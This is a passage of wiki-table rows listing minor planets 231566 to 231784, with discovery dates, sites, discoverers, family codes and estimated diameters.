| 231566 || || — || October 9, 2008 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 3.6 km ||
|-id=567 bgcolor=#d6d6d6
| 231567 || || — || October 1, 2008 || Kitt Peak || Spacewatch || KOR || align=right | 1.8 km ||
|-id=568 bgcolor=#E9E9E9
| 231568 || || — || October 1, 2008 || Catalina || CSS || — || align=right | 2.5 km ||
|-id=569 bgcolor=#E9E9E9
| 231569 || || — || October 6, 2008 || La Sagra || Mallorca Obs. || — || align=right | 2.6 km ||
|-id=570 bgcolor=#d6d6d6
| 231570 || || — || October 2, 2008 || Catalina || CSS || — || align=right | 5.6 km ||
|-id=571 bgcolor=#d6d6d6
| 231571 || || — || October 22, 2008 || Piszkéstető || K. Sárneczky, Á. Kárpáti || KOR || align=right | 1.7 km ||
|-id=572 bgcolor=#C2FFFF
| 231572 || || — || October 17, 2008 || Kitt Peak || Spacewatch || L4 || align=right | 12 km ||
|-id=573 bgcolor=#E9E9E9
| 231573 || || — || October 20, 2008 || Kitt Peak || Spacewatch || — || align=right | 3.2 km ||
|-id=574 bgcolor=#d6d6d6
| 231574 || || — || October 21, 2008 || Kitt Peak || Spacewatch || — || align=right | 3.4 km ||
|-id=575 bgcolor=#fefefe
| 231575 || || — || October 21, 2008 || Kitt Peak || Spacewatch || MAS || align=right | 1.4 km ||
|-id=576 bgcolor=#E9E9E9
| 231576 || || — || October 21, 2008 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 3.4 km ||
|-id=577 bgcolor=#E9E9E9
| 231577 || || — || October 28, 2008 || Socorro || LINEAR || — || align=right | 2.7 km ||
|-id=578 bgcolor=#d6d6d6
| 231578 || || — || October 23, 2008 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 3.4 km ||
|-id=579 bgcolor=#d6d6d6
| 231579 || || — || October 24, 2008 || Catalina || CSS || — || align=right | 4.8 km ||
|-id=580 bgcolor=#d6d6d6
| 231580 || || — || October 24, 2008 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 3.5 km ||
|-id=581 bgcolor=#d6d6d6
| 231581 || || — || October 27, 2008 || Kitt Peak || Spacewatch || — || align=right | 3.9 km ||
|-id=582 bgcolor=#d6d6d6
| 231582 || || — || October 25, 2008 || Kitt Peak || Spacewatch || KOR || align=right | 2.0 km ||
|-id=583 bgcolor=#d6d6d6
| 231583 || || — || October 25, 2008 || Kitt Peak || Spacewatch || — || align=right | 4.0 km ||
|-id=584 bgcolor=#d6d6d6
| 231584 || || — || October 27, 2008 || Kitt Peak || Spacewatch || — || align=right | 3.5 km ||
|-id=585 bgcolor=#d6d6d6
| 231585 || || — || October 27, 2008 || Kitt Peak || Spacewatch || K-2 || align=right | 1.9 km ||
|-id=586 bgcolor=#d6d6d6
| 231586 || || — || October 28, 2008 || Kitt Peak || Spacewatch || HYG || align=right | 3.4 km ||
|-id=587 bgcolor=#d6d6d6
| 231587 || || — || October 28, 2008 || Kitt Peak || Spacewatch || — || align=right | 4.0 km ||
|-id=588 bgcolor=#E9E9E9
| 231588 || || — || October 28, 2008 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.3 km ||
|-id=589 bgcolor=#d6d6d6
| 231589 || || — || October 30, 2008 || Kitt Peak || Spacewatch || — || align=right | 7.3 km ||
|-id=590 bgcolor=#d6d6d6
| 231590 || || — || October 30, 2008 || Mount Lemmon || Mount Lemmon Survey || CHA || align=right | 3.1 km ||
|-id=591 bgcolor=#d6d6d6
| 231591 || || — || October 23, 2008 || Kitt Peak || Spacewatch || — || align=right | 3.5 km ||
|-id=592 bgcolor=#fefefe
| 231592 || || — || October 24, 2008 || Mount Lemmon || Mount Lemmon Survey || NYS || align=right | 1.0 km ||
|-id=593 bgcolor=#d6d6d6
| 231593 || || — || October 20, 2008 || Mount Lemmon || Mount Lemmon Survey || THM || align=right | 3.3 km ||
|-id=594 bgcolor=#d6d6d6
| 231594 || || — || October 26, 2008 || Catalina || CSS || — || align=right | 5.5 km ||
|-id=595 bgcolor=#E9E9E9
| 231595 || || — || November 6, 2008 || Kitt Peak || Spacewatch || MRX || align=right | 1.6 km ||
|-id=596 bgcolor=#E9E9E9
| 231596 || 2008 WQ || — || November 17, 2008 || Kitt Peak || Spacewatch || — || align=right | 2.4 km ||
|-id=597 bgcolor=#d6d6d6
| 231597 || || — || November 17, 2008 || Kitt Peak || Spacewatch || THM || align=right | 3.3 km ||
|-id=598 bgcolor=#E9E9E9
| 231598 || || — || December 30, 2008 || Kitt Peak || Spacewatch || — || align=right | 2.3 km ||
|-id=599 bgcolor=#E9E9E9
| 231599 || || — || December 21, 2008 || Kitt Peak || Spacewatch || — || align=right | 2.9 km ||
|-id=600 bgcolor=#fefefe
| 231600 || || — || January 2, 2009 || Kitt Peak || Spacewatch || V || align=right data-sort-value="0.98" | 980 m ||
|}
231601–231700
|-bgcolor=#fefefe
| 231601 || || — || January 25, 2009 || Kitt Peak || Spacewatch || MAS || align=right | 1.0 km ||
|-id=602 bgcolor=#fefefe
| 231602 || || — || January 31, 2009 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.2 km ||
|-id=603 bgcolor=#fefefe
| 231603 || || — || February 1, 2009 || Kitt Peak || Spacewatch || NYS || align=right data-sort-value="0.96" | 960 m ||
|-id=604 bgcolor=#fefefe
| 231604 || || — || March 31, 2009 || Kitt Peak || Spacewatch || — || align=right data-sort-value="0.98" | 980 m ||
|-id=605 bgcolor=#E9E9E9
| 231605 || || — || April 21, 2009 || Socorro || LINEAR || — || align=right | 1.7 km ||
|-id=606 bgcolor=#d6d6d6
| 231606 || || — || April 22, 2009 || Mount Lemmon || Mount Lemmon Survey || EMA || align=right | 5.1 km ||
|-id=607 bgcolor=#fefefe
| 231607 || || — || May 15, 2009 || La Sagra || Mallorca Obs. || — || align=right | 1.2 km ||
|-id=608 bgcolor=#fefefe
| 231608 || || — || August 17, 2009 || Catalina || CSS || V || align=right data-sort-value="0.78" | 780 m ||
|-id=609 bgcolor=#d6d6d6
| 231609 || 2009 RV || — || September 10, 2009 || ESA OGS || ESA OGS || — || align=right | 3.5 km ||
|-id=610 bgcolor=#C2FFFF
| 231610 || || — || September 12, 2009 || Kitt Peak || Spacewatch || L4 || align=right | 8.4 km ||
|-id=611 bgcolor=#d6d6d6
| 231611 || || — || September 14, 2009 || Kitt Peak || Spacewatch || — || align=right | 2.9 km ||
|-id=612 bgcolor=#C2FFFF
| 231612 || || — || September 15, 2009 || Kitt Peak || Spacewatch || L4 || align=right | 11 km ||
|-id=613 bgcolor=#C2FFFF
| 231613 || || — || September 16, 2009 || Kitt Peak || Spacewatch || L4 || align=right | 15 km ||
|-id=614 bgcolor=#fefefe
| 231614 || || — || September 16, 2009 || Kitt Peak || Spacewatch || — || align=right | 1.1 km ||
|-id=615 bgcolor=#C2FFFF
| 231615 || || — || September 18, 2009 || Kitt Peak || Spacewatch || L4 || align=right | 16 km ||
|-id=616 bgcolor=#fefefe
| 231616 || || — || September 19, 2009 || Mount Lemmon || Mount Lemmon Survey || — || align=right data-sort-value="0.90" | 900 m ||
|-id=617 bgcolor=#FA8072
| 231617 || || — || September 24, 2009 || La Sagra || Mallorca Obs. || — || align=right data-sort-value="0.86" | 860 m ||
|-id=618 bgcolor=#fefefe
| 231618 || || — || September 25, 2009 || Taunus || S. Karge, R. Kling || — || align=right data-sort-value="0.94" | 940 m ||
|-id=619 bgcolor=#fefefe
| 231619 || || — || September 16, 2009 || Mount Lemmon || Mount Lemmon Survey || — || align=right data-sort-value="0.90" | 900 m ||
|-id=620 bgcolor=#C2FFFF
| 231620 || || — || September 18, 2009 || Kitt Peak || Spacewatch || L4 || align=right | 10 km ||
|-id=621 bgcolor=#C2FFFF
| 231621 || || — || September 18, 2009 || Kitt Peak || Spacewatch || L4 || align=right | 11 km ||
|-id=622 bgcolor=#E9E9E9
| 231622 || || — || September 20, 2009 || Kitt Peak || Spacewatch || — || align=right | 3.2 km ||
|-id=623 bgcolor=#C2FFFF
| 231623 || || — || September 23, 2009 || Kitt Peak || Spacewatch || L4HEK || align=right | 15 km ||
|-id=624 bgcolor=#fefefe
| 231624 || || — || September 19, 2009 || Catalina || CSS || — || align=right | 1.2 km ||
|-id=625 bgcolor=#d6d6d6
| 231625 || || — || September 20, 2009 || Catalina || CSS || EUP || align=right | 6.7 km ||
|-id=626 bgcolor=#E9E9E9
| 231626 || || — || September 21, 2009 || Kitt Peak || Spacewatch || — || align=right | 4.2 km ||
|-id=627 bgcolor=#fefefe
| 231627 || || — || September 19, 2009 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.2 km ||
|-id=628 bgcolor=#d6d6d6
| 231628 || || — || September 17, 2009 || Kitt Peak || Spacewatch || — || align=right | 3.1 km ||
|-id=629 bgcolor=#E9E9E9
| 231629 || || — || October 14, 2009 || Bisei SG Center || BATTeRS || — || align=right | 2.4 km ||
|-id=630 bgcolor=#d6d6d6
| 231630 || || — || October 14, 2009 || Catalina || CSS || — || align=right | 4.3 km ||
|-id=631 bgcolor=#C2FFFF
| 231631 || || — || October 12, 2009 || La Sagra || Mallorca Obs. || L4 || align=right | 14 km ||
|-id=632 bgcolor=#d6d6d6
| 231632 || || — || October 17, 2009 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 3.9 km ||
|-id=633 bgcolor=#d6d6d6
| 231633 || || — || October 21, 2009 || Catalina || CSS || — || align=right | 4.6 km ||
|-id=634 bgcolor=#d6d6d6
| 231634 || || — || October 22, 2009 || Mount Lemmon || Mount Lemmon Survey || EOS || align=right | 3.5 km ||
|-id=635 bgcolor=#E9E9E9
| 231635 || || — || October 23, 2009 || Kitt Peak || Spacewatch || — || align=right | 2.7 km ||
|-id=636 bgcolor=#C2FFFF
| 231636 || || — || October 23, 2009 || Mount Lemmon || Mount Lemmon Survey || L4 || align=right | 12 km ||
|-id=637 bgcolor=#d6d6d6
| 231637 || || — || October 21, 2009 || Catalina || CSS || — || align=right | 3.0 km ||
|-id=638 bgcolor=#d6d6d6
| 231638 || || — || October 24, 2009 || Catalina || CSS || — || align=right | 4.4 km ||
|-id=639 bgcolor=#E9E9E9
| 231639 || || — || October 22, 2009 || Catalina || CSS || — || align=right | 4.8 km ||
|-id=640 bgcolor=#fefefe
| 231640 || || — || October 24, 2009 || Catalina || CSS || FLO || align=right data-sort-value="0.80" | 800 m ||
|-id=641 bgcolor=#fefefe
| 231641 || || — || October 18, 2009 || Siding Spring || SSS || PHO || align=right | 1.6 km ||
|-id=642 bgcolor=#E9E9E9
| 231642 || || — || October 30, 2009 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 3.7 km ||
|-id=643 bgcolor=#E9E9E9
| 231643 || || — || November 9, 2009 || Socorro || LINEAR || — || align=right | 1.5 km ||
|-id=644 bgcolor=#E9E9E9
| 231644 || || — || November 8, 2009 || Kitt Peak || Spacewatch || — || align=right | 1.4 km ||
|-id=645 bgcolor=#d6d6d6
| 231645 || || — || November 10, 2009 || Kitt Peak || Spacewatch || CHA || align=right | 2.7 km ||
|-id=646 bgcolor=#d6d6d6
| 231646 || || — || November 10, 2009 || Kitt Peak || Spacewatch || EOS || align=right | 2.7 km ||
|-id=647 bgcolor=#d6d6d6
| 231647 || || — || November 9, 2009 || Kitt Peak || Spacewatch || — || align=right | 4.4 km ||
|-id=648 bgcolor=#d6d6d6
| 231648 || || — || November 8, 2009 || Kitt Peak || Spacewatch || — || align=right | 3.2 km ||
|-id=649 bgcolor=#E9E9E9
| 231649 Korotkiy || || || November 17, 2009 || Tzec Maun || A. Novichonok, D. Chestnov || — || align=right | 2.7 km ||
|-id=650 bgcolor=#E9E9E9
| 231650 || || — || November 18, 2009 || Socorro || LINEAR || — || align=right | 3.1 km ||
|-id=651 bgcolor=#fefefe
| 231651 || || — || November 18, 2009 || Socorro || LINEAR || — || align=right | 1.2 km ||
|-id=652 bgcolor=#fefefe
| 231652 || || — || November 18, 2009 || Socorro || LINEAR || — || align=right | 1.3 km ||
|-id=653 bgcolor=#E9E9E9
| 231653 || || — || November 18, 2009 || Socorro || LINEAR || — || align=right | 1.4 km ||
|-id=654 bgcolor=#d6d6d6
| 231654 || || — || November 21, 2009 || Kitt Peak || Spacewatch || — || align=right | 3.7 km ||
|-id=655 bgcolor=#d6d6d6
| 231655 || || — || November 21, 2009 || Kitt Peak || Spacewatch || HYG || align=right | 4.3 km ||
|-id=656 bgcolor=#d6d6d6
| 231656 || || — || November 21, 2009 || Kitt Peak || Spacewatch || KOR || align=right | 1.9 km ||
|-id=657 bgcolor=#d6d6d6
| 231657 || || — || November 21, 2009 || Kitt Peak || Spacewatch || — || align=right | 3.8 km ||
|-id=658 bgcolor=#fefefe
| 231658 || || — || November 23, 2009 || Mount Lemmon || Mount Lemmon Survey || — || align=right data-sort-value="0.94" | 940 m ||
|-id=659 bgcolor=#d6d6d6
| 231659 || || — || November 16, 2009 || La Sagra || Mallorca Obs. || — || align=right | 4.6 km ||
|-id=660 bgcolor=#fefefe
| 231660 || || — || December 11, 2009 || Mayhill || iTelescope Obs. || FLO || align=right | 1.3 km ||
|-id=661 bgcolor=#d6d6d6
| 231661 || || — || December 15, 2009 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 4.4 km ||
|-id=662 bgcolor=#E9E9E9
| 231662 || || — || December 10, 2009 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 4.6 km ||
|-id=663 bgcolor=#d6d6d6
| 231663 || || — || December 9, 2009 || La Sagra || Mallorca Obs. || — || align=right | 5.2 km ||
|-id=664 bgcolor=#C2FFFF
| 231664 || || — || December 20, 2009 || Mount Lemmon || Mount Lemmon Survey || L4 || align=right | 13 km ||
|-id=665 bgcolor=#d6d6d6
| 231665 || 7602 P-L || — || October 17, 1960 || Palomar || PLS || — || align=right | 3.5 km ||
|-id=666 bgcolor=#C2FFFF
| 231666 Aisymnos || || || September 24, 1960 || Palomar || L. D. Schmadel, R. M. Stoss || L4 || align=right | 13 km ||
|-id=667 bgcolor=#fefefe
| 231667 || || — || March 7, 1981 || Siding Spring || S. J. Bus || — || align=right | 1.2 km ||
|-id=668 bgcolor=#E9E9E9
| 231668 || || — || March 6, 1981 || Siding Spring || S. J. Bus || — || align=right | 4.0 km ||
|-id=669 bgcolor=#E9E9E9
| 231669 || || — || March 19, 1993 || La Silla || UESAC || GER || align=right | 2.2 km ||
|-id=670 bgcolor=#d6d6d6
| 231670 || || — || October 20, 1993 || La Silla || E. W. Elst || — || align=right | 4.0 km ||
|-id=671 bgcolor=#d6d6d6
| 231671 || || — || January 8, 1994 || Kitt Peak || Spacewatch || — || align=right | 3.9 km ||
|-id=672 bgcolor=#E9E9E9
| 231672 || || — || March 5, 1994 || Kitt Peak || Spacewatch || — || align=right | 2.0 km ||
|-id=673 bgcolor=#d6d6d6
| 231673 || || — || June 3, 1994 || La Silla || H. Debehogne || — || align=right | 2.5 km ||
|-id=674 bgcolor=#E9E9E9
| 231674 || || — || August 10, 1994 || La Silla || E. W. Elst || — || align=right | 2.2 km ||
|-id=675 bgcolor=#fefefe
| 231675 || || — || September 12, 1994 || Kitt Peak || Spacewatch || FLO || align=right data-sort-value="0.92" | 920 m ||
|-id=676 bgcolor=#fefefe
| 231676 || || — || January 29, 1995 || Kitt Peak || Spacewatch || MAS || align=right | 1.1 km ||
|-id=677 bgcolor=#fefefe
| 231677 || || — || March 31, 1995 || Kitt Peak || Spacewatch || MAS || align=right | 1.1 km ||
|-id=678 bgcolor=#fefefe
| 231678 || || — || August 19, 1995 || Xinglong || SCAP || FLO || align=right data-sort-value="0.88" | 880 m ||
|-id=679 bgcolor=#d6d6d6
| 231679 || || — || August 19, 1995 || Xinglong || SCAP || HYG || align=right | 3.8 km ||
|-id=680 bgcolor=#E9E9E9
| 231680 || || — || September 17, 1995 || Kitt Peak || Spacewatch || — || align=right | 2.4 km ||
|-id=681 bgcolor=#d6d6d6
| 231681 || || — || September 25, 1995 || Kitt Peak || Spacewatch || — || align=right | 4.0 km ||
|-id=682 bgcolor=#E9E9E9
| 231682 || || — || October 17, 1995 || Kitt Peak || Spacewatch || MIS || align=right | 2.8 km ||
|-id=683 bgcolor=#fefefe
| 231683 || || — || October 18, 1995 || Kitt Peak || Spacewatch || — || align=right data-sort-value="0.75" | 750 m ||
|-id=684 bgcolor=#E9E9E9
| 231684 || || — || January 19, 1996 || Kitt Peak || Spacewatch || — || align=right | 3.5 km ||
|-id=685 bgcolor=#d6d6d6
| 231685 || || — || April 11, 1996 || Kitt Peak || Spacewatch || CHA || align=right | 3.3 km ||
|-id=686 bgcolor=#d6d6d6
| 231686 || || — || October 4, 1996 || Kitt Peak || Spacewatch || URS || align=right | 5.2 km ||
|-id=687 bgcolor=#fefefe
| 231687 || || — || October 12, 1996 || Kitt Peak || Spacewatch || — || align=right | 1.7 km ||
|-id=688 bgcolor=#E9E9E9
| 231688 || || — || November 7, 1996 || Prescott || P. G. Comba || — || align=right | 1.3 km ||
|-id=689 bgcolor=#E9E9E9
| 231689 || || — || November 14, 1996 || Kitt Peak || Spacewatch || — || align=right | 1.1 km ||
|-id=690 bgcolor=#E9E9E9
| 231690 || || — || April 8, 1997 || Kitt Peak || Spacewatch || PAD || align=right | 2.0 km ||
|-id=691 bgcolor=#d6d6d6
| 231691 || || — || September 3, 1997 || Caussols || ODAS || — || align=right | 3.5 km ||
|-id=692 bgcolor=#C2FFFF
| 231692 || || — || November 22, 1997 || Kitt Peak || Spacewatch || L4 || align=right | 14 km ||
|-id=693 bgcolor=#E9E9E9
| 231693 || || — || February 27, 1998 || La Silla || E. W. Elst || MIT || align=right | 3.8 km ||
|-id=694 bgcolor=#E9E9E9
| 231694 || || — || April 22, 1998 || Kitt Peak || Spacewatch || — || align=right | 1.6 km ||
|-id=695 bgcolor=#E9E9E9
| 231695 || || — || April 24, 1998 || Kitt Peak || Spacewatch || — || align=right | 1.5 km ||
|-id=696 bgcolor=#E9E9E9
| 231696 || || — || April 18, 1998 || Socorro || LINEAR || ADE || align=right | 4.3 km ||
|-id=697 bgcolor=#E9E9E9
| 231697 || || — || June 25, 1998 || Kitt Peak || Spacewatch || — || align=right | 2.9 km ||
|-id=698 bgcolor=#E9E9E9
| 231698 || || — || August 19, 1998 || Kleť || M. Tichý, Z. Moravec || — || align=right | 5.3 km ||
|-id=699 bgcolor=#fefefe
| 231699 || || — || August 24, 1998 || Socorro || LINEAR || — || align=right | 3.2 km ||
|-id=700 bgcolor=#FA8072
| 231700 || || — || September 23, 1998 || Catalina || CSS || — || align=right | 1.6 km ||
|}
231701–231800
|-bgcolor=#fefefe
| 231701 || || — || September 21, 1998 || Kitt Peak || Spacewatch || — || align=right data-sort-value="0.90" | 900 m ||
|-id=702 bgcolor=#fefefe
| 231702 || || — || September 25, 1998 || Kitt Peak || Spacewatch || FLO || align=right data-sort-value="0.88" | 880 m ||
|-id=703 bgcolor=#E9E9E9
| 231703 || || — || September 25, 1998 || Kitt Peak || Spacewatch || AGN || align=right | 1.9 km ||
|-id=704 bgcolor=#fefefe
| 231704 || || — || September 26, 1998 || Socorro || LINEAR || — || align=right | 1.1 km ||
|-id=705 bgcolor=#d6d6d6
| 231705 || || — || September 26, 1998 || Socorro || LINEAR || — || align=right | 5.3 km ||
|-id=706 bgcolor=#d6d6d6
| 231706 || || — || September 26, 1998 || Socorro || LINEAR || BRA || align=right | 2.6 km ||
|-id=707 bgcolor=#FA8072
| 231707 || 1998 TP || — || October 10, 1998 || Goodricke-Pigott || R. A. Tucker || PHO || align=right | 2.3 km ||
|-id=708 bgcolor=#d6d6d6
| 231708 || || — || October 17, 1998 || Kitt Peak || Spacewatch || — || align=right | 2.3 km ||
|-id=709 bgcolor=#fefefe
| 231709 || || — || October 28, 1998 || Socorro || LINEAR || — || align=right | 1.4 km ||
|-id=710 bgcolor=#d6d6d6
| 231710 || || — || October 28, 1998 || Socorro || LINEAR || — || align=right | 3.3 km ||
|-id=711 bgcolor=#fefefe
| 231711 || || — || November 11, 1998 || Anderson Mesa || LONEOS || — || align=right | 1.4 km ||
|-id=712 bgcolor=#E9E9E9
| 231712 || || — || November 19, 1998 || Catalina || CSS || BRU || align=right | 5.3 km ||
|-id=713 bgcolor=#fefefe
| 231713 || || — || December 25, 1998 || Kitt Peak || Spacewatch || — || align=right | 2.5 km ||
|-id=714 bgcolor=#d6d6d6
| 231714 || || — || January 7, 1999 || Kitt Peak || Spacewatch || — || align=right | 4.9 km ||
|-id=715 bgcolor=#fefefe
| 231715 || || — || January 8, 1999 || Kitt Peak || Spacewatch || MAS || align=right data-sort-value="0.82" | 820 m ||
|-id=716 bgcolor=#FA8072
| 231716 || || — || January 18, 1999 || Oizumi || T. Kobayashi || — || align=right | 2.4 km ||
|-id=717 bgcolor=#d6d6d6
| 231717 || || — || February 12, 1999 || Oohira || T. Urata || — || align=right | 2.4 km ||
|-id=718 bgcolor=#fefefe
| 231718 || || — || February 12, 1999 || Socorro || LINEAR || H || align=right | 1.1 km ||
|-id=719 bgcolor=#fefefe
| 231719 || || — || February 10, 1999 || Socorro || LINEAR || — || align=right | 1.7 km ||
|-id=720 bgcolor=#d6d6d6
| 231720 || || — || February 12, 1999 || Socorro || LINEAR || — || align=right | 3.4 km ||
|-id=721 bgcolor=#d6d6d6
| 231721 || || — || February 12, 1999 || Socorro || LINEAR || — || align=right | 4.7 km ||
|-id=722 bgcolor=#d6d6d6
| 231722 || || — || February 12, 1999 || Socorro || LINEAR || — || align=right | 3.7 km ||
|-id=723 bgcolor=#d6d6d6
| 231723 || || — || February 9, 1999 || Kitt Peak || Spacewatch || THM || align=right | 2.8 km ||
|-id=724 bgcolor=#fefefe
| 231724 || || — || February 9, 1999 || Kitt Peak || Spacewatch || MAS || align=right data-sort-value="0.94" | 940 m ||
|-id=725 bgcolor=#fefefe
| 231725 || || — || February 8, 1999 || Kitt Peak || Spacewatch || NYS || align=right data-sort-value="0.83" | 830 m ||
|-id=726 bgcolor=#fefefe
| 231726 || 1999 EU || — || March 6, 1999 || Kitt Peak || Spacewatch || — || align=right | 1.0 km ||
|-id=727 bgcolor=#fefefe
| 231727 || || — || March 6, 1999 || Kitt Peak || Spacewatch || V || align=right | 1.0 km ||
|-id=728 bgcolor=#fefefe
| 231728 || || — || March 15, 1999 || Socorro || LINEAR || — || align=right | 3.5 km ||
|-id=729 bgcolor=#d6d6d6
| 231729 || || — || March 14, 1999 || Kitt Peak || Spacewatch || EOS || align=right | 3.1 km ||
|-id=730 bgcolor=#fefefe
| 231730 || || — || March 18, 1999 || Kitt Peak || Spacewatch || MAS || align=right data-sort-value="0.98" | 980 m ||
|-id=731 bgcolor=#fefefe
| 231731 || || — || March 20, 1999 || Apache Point || SDSS || — || align=right | 2.5 km ||
|-id=732 bgcolor=#fefefe
| 231732 || || — || April 15, 1999 || Bergisch Gladbach || W. Bickel || V || align=right | 1.1 km ||
|-id=733 bgcolor=#fefefe
| 231733 || || — || April 6, 1999 || Kitt Peak || Spacewatch || NYS || align=right | 1.0 km ||
|-id=734 bgcolor=#fefefe
| 231734 || || — || May 16, 1999 || Kitt Peak || Spacewatch || MAS || align=right data-sort-value="0.94" | 940 m ||
|-id=735 bgcolor=#d6d6d6
| 231735 || || — || June 12, 1999 || Socorro || LINEAR || — || align=right | 6.4 km ||
|-id=736 bgcolor=#d6d6d6
| 231736 || 1999 MD || — || June 16, 1999 || Kitt Peak || Spacewatch || HYG || align=right | 4.3 km ||
|-id=737 bgcolor=#E9E9E9
| 231737 || || — || July 12, 1999 || Socorro || LINEAR || — || align=right | 3.2 km ||
|-id=738 bgcolor=#E9E9E9
| 231738 || || — || September 7, 1999 || Socorro || LINEAR || — || align=right | 2.9 km ||
|-id=739 bgcolor=#E9E9E9
| 231739 || || — || September 8, 1999 || Socorro || LINEAR || — || align=right | 2.7 km ||
|-id=740 bgcolor=#E9E9E9
| 231740 || || — || September 8, 1999 || Socorro || LINEAR || — || align=right | 4.0 km ||
|-id=741 bgcolor=#E9E9E9
| 231741 || || — || September 9, 1999 || Socorro || LINEAR || — || align=right | 2.8 km ||
|-id=742 bgcolor=#E9E9E9
| 231742 || || — || September 9, 1999 || Socorro || LINEAR || — || align=right | 4.2 km ||
|-id=743 bgcolor=#E9E9E9
| 231743 || || — || September 9, 1999 || Socorro || LINEAR || — || align=right | 3.0 km ||
|-id=744 bgcolor=#E9E9E9
| 231744 || || — || September 8, 1999 || Socorro || LINEAR || — || align=right | 3.2 km ||
|-id=745 bgcolor=#d6d6d6
| 231745 || || — || September 15, 1999 || Kleť || Kleť Obs. || HIL3:2 || align=right | 7.6 km ||
|-id=746 bgcolor=#E9E9E9
| 231746 || || — || October 4, 1999 || Kitt Peak || Spacewatch || — || align=right | 1.9 km ||
|-id=747 bgcolor=#E9E9E9
| 231747 || || — || October 4, 1999 || Kitt Peak || Spacewatch || — || align=right | 2.1 km ||
|-id=748 bgcolor=#E9E9E9
| 231748 || || — || October 6, 1999 || Socorro || LINEAR || — || align=right data-sort-value="0.98" | 980 m ||
|-id=749 bgcolor=#d6d6d6
| 231749 || || — || October 7, 1999 || Socorro || LINEAR || — || align=right | 7.0 km ||
|-id=750 bgcolor=#fefefe
| 231750 || || — || October 7, 1999 || Socorro || LINEAR || — || align=right data-sort-value="0.90" | 900 m ||
|-id=751 bgcolor=#E9E9E9
| 231751 || || — || October 10, 1999 || Socorro || LINEAR || — || align=right | 3.9 km ||
|-id=752 bgcolor=#E9E9E9
| 231752 || || — || October 10, 1999 || Socorro || LINEAR || — || align=right | 3.6 km ||
|-id=753 bgcolor=#fefefe
| 231753 || || — || October 12, 1999 || Socorro || LINEAR || NYS || align=right data-sort-value="0.76" | 760 m ||
|-id=754 bgcolor=#E9E9E9
| 231754 || || — || October 13, 1999 || Socorro || LINEAR || — || align=right | 3.7 km ||
|-id=755 bgcolor=#E9E9E9
| 231755 || || — || October 9, 1999 || Catalina || CSS || — || align=right | 3.3 km ||
|-id=756 bgcolor=#E9E9E9
| 231756 || || — || October 3, 1999 || Socorro || LINEAR || — || align=right | 3.3 km ||
|-id=757 bgcolor=#E9E9E9
| 231757 || || — || October 9, 1999 || Socorro || LINEAR || — || align=right | 3.2 km ||
|-id=758 bgcolor=#E9E9E9
| 231758 || || — || October 10, 1999 || Socorro || LINEAR || — || align=right | 3.9 km ||
|-id=759 bgcolor=#E9E9E9
| 231759 || || — || October 10, 1999 || Socorro || LINEAR || — || align=right | 4.3 km ||
|-id=760 bgcolor=#E9E9E9
| 231760 || || — || October 31, 1999 || Socorro || LINEAR || EUN || align=right | 2.2 km ||
|-id=761 bgcolor=#E9E9E9
| 231761 || || — || October 31, 1999 || Kitt Peak || Spacewatch || — || align=right | 2.1 km ||
|-id=762 bgcolor=#E9E9E9
| 231762 || || — || October 31, 1999 || Kitt Peak || Spacewatch || — || align=right | 1.8 km ||
|-id=763 bgcolor=#E9E9E9
| 231763 || || — || October 16, 1999 || Kitt Peak || Spacewatch || — || align=right | 2.8 km ||
|-id=764 bgcolor=#E9E9E9
| 231764 || || — || November 8, 1999 || Majorca || R. Pacheco, Á. López J. || DOR || align=right | 4.4 km ||
|-id=765 bgcolor=#E9E9E9
| 231765 || || — || November 3, 1999 || Catalina || CSS || — || align=right | 2.7 km ||
|-id=766 bgcolor=#fefefe
| 231766 || || — || November 4, 1999 || Kitt Peak || Spacewatch || — || align=right | 1.5 km ||
|-id=767 bgcolor=#E9E9E9
| 231767 || || — || November 9, 1999 || Socorro || LINEAR || — || align=right | 2.3 km ||
|-id=768 bgcolor=#d6d6d6
| 231768 || || — || November 9, 1999 || Kitt Peak || Spacewatch || KOR || align=right | 1.7 km ||
|-id=769 bgcolor=#E9E9E9
| 231769 || || — || November 14, 1999 || Socorro || LINEAR || — || align=right | 3.7 km ||
|-id=770 bgcolor=#E9E9E9
| 231770 || || — || November 9, 1999 || Kitt Peak || Spacewatch || AST || align=right | 3.0 km ||
|-id=771 bgcolor=#E9E9E9
| 231771 || || — || November 13, 1999 || Kitt Peak || Spacewatch || — || align=right | 3.7 km ||
|-id=772 bgcolor=#E9E9E9
| 231772 || || — || November 15, 1999 || Socorro || LINEAR || — || align=right | 3.2 km ||
|-id=773 bgcolor=#fefefe
| 231773 || || — || November 15, 1999 || Socorro || LINEAR || — || align=right | 2.1 km ||
|-id=774 bgcolor=#fefefe
| 231774 || || — || November 28, 1999 || Kitt Peak || Spacewatch || — || align=right data-sort-value="0.94" | 940 m ||
|-id=775 bgcolor=#E9E9E9
| 231775 || || — || December 5, 1999 || Catalina || CSS || CLO || align=right | 2.9 km ||
|-id=776 bgcolor=#fefefe
| 231776 || || — || December 10, 1999 || Eskridge || G. Hug, G. Bell || — || align=right | 1.2 km ||
|-id=777 bgcolor=#fefefe
| 231777 || || — || December 7, 1999 || Socorro || LINEAR || — || align=right | 1.1 km ||
|-id=778 bgcolor=#fefefe
| 231778 || || — || December 13, 1999 || Kitt Peak || Spacewatch || FLO || align=right data-sort-value="0.70" | 700 m ||
|-id=779 bgcolor=#fefefe
| 231779 || || — || January 3, 2000 || Kitt Peak || Spacewatch || PHO || align=right | 1.5 km ||
|-id=780 bgcolor=#d6d6d6
| 231780 || || — || January 29, 2000 || Kitt Peak || Spacewatch || KOR || align=right | 1.8 km ||
|-id=781 bgcolor=#E9E9E9
| 231781 || || — || February 2, 2000 || Socorro || LINEAR || — || align=right | 3.4 km ||
|-id=782 bgcolor=#E9E9E9
| 231782 || || — || February 2, 2000 || Socorro || LINEAR || — || align=right | 1.8 km ||
|-id=783 bgcolor=#d6d6d6
| 231783 || || — || February 2, 2000 || Socorro || LINEAR || — || align=right | 4.6 km ||
|-id=784 bgcolor=#d6d6d6
| 231784 || || — || February 2, 2000 || Socorro || LINEAR || — || align=right | 5.7 km ||
